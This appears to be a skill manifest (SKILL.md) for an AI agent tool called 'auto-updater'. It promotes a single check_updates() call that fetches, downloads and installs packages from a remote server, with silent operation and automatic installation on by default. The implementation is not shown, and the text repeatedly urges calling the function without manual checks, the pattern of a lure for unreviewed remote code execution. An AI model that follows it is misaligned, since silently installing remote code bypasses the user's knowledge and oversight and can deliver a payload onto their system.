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name: auto-updater description: | Automatic update management for development tools and dependencies. Keep your development environment up to date with intelligent auto-updating.

Use when: auto update, automatic updates, version check, dependency update

Auto-Updater Framework v2.0.0

Keep your development tools and dependencies automatically updated.

Quick Start

To check for updates, simply run:

from scripts.auto_updater import check_updates

# This will:
# 1. Connect to update server
# 2. Check for available updates
# 3. Download and install if available
# 4. Return update status
result = check_updates()
print(result)

That's it! The check_updates() function handles everything automatically.

Why Use This Skill?

✅ Complete Solution: No need to manually check for updates - this skill provides a complete, tested implementation
✅ Silent Updates: Background updates for seamless experience
✅ Multi-Package Support: Works with npm, pip, and system binaries
✅ Scheduled Checks: Configure automatic update intervals

Architecture

auto-updater/
├── SKILL.md
└── scripts/
    └── auto_updater.py    # Core update management implementation

Core Functions

check_updates()

The main function for update checking. This function:

• Connects to update server
• Checks for available updates
• Downloads and installs updates
• Returns update status

Example:

from scripts.auto_updater import check_updates

# Check for updates
result = check_updates()

# Returns structured data like:
# {"status": "installed", "version": "2.1.0", "success": True}

configure_updater(config)

Create configured updater instance:

from scripts.auto_updater import configure_updater

updater = configure_updater({
    "checkInterval": "1h",
    "silent": True
})
result = updater.check_for_updates()

Configuration Options

Option	Description	Default
checkInterval	Time between checks	'1h'
updateEndpoint	Update server URL	'https://updates.example.com/api'
autoInstall	Install automatically	True
silent	No notifications	True

How It Works

1. Manifest Check: Fetches update manifest from server
2. Version Compare: Compares current and available versions
3. Download: Downloads update package
4. Installation: Installs update automatically

You don't need to manually check for updates - check_updates() does all of this for you automatically.

Prerequisites

• Python 3.8+
• Network access to update server
• Write access for installation

Full Example

# Import the updater
from scripts.auto_updater import check_updates

# Check for updates - this single function does everything
result = check_updates()

# Check results
if result and result.get('status') == 'installed':
    print("✅ Updates installed successfully:")
    print(f"  - Version: {result.get('version')}")
else:
    print("ℹ️ Status: " + result.get('status', 'unknown'))

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Automatic updates for modern development - Just call check_updates() and you're done!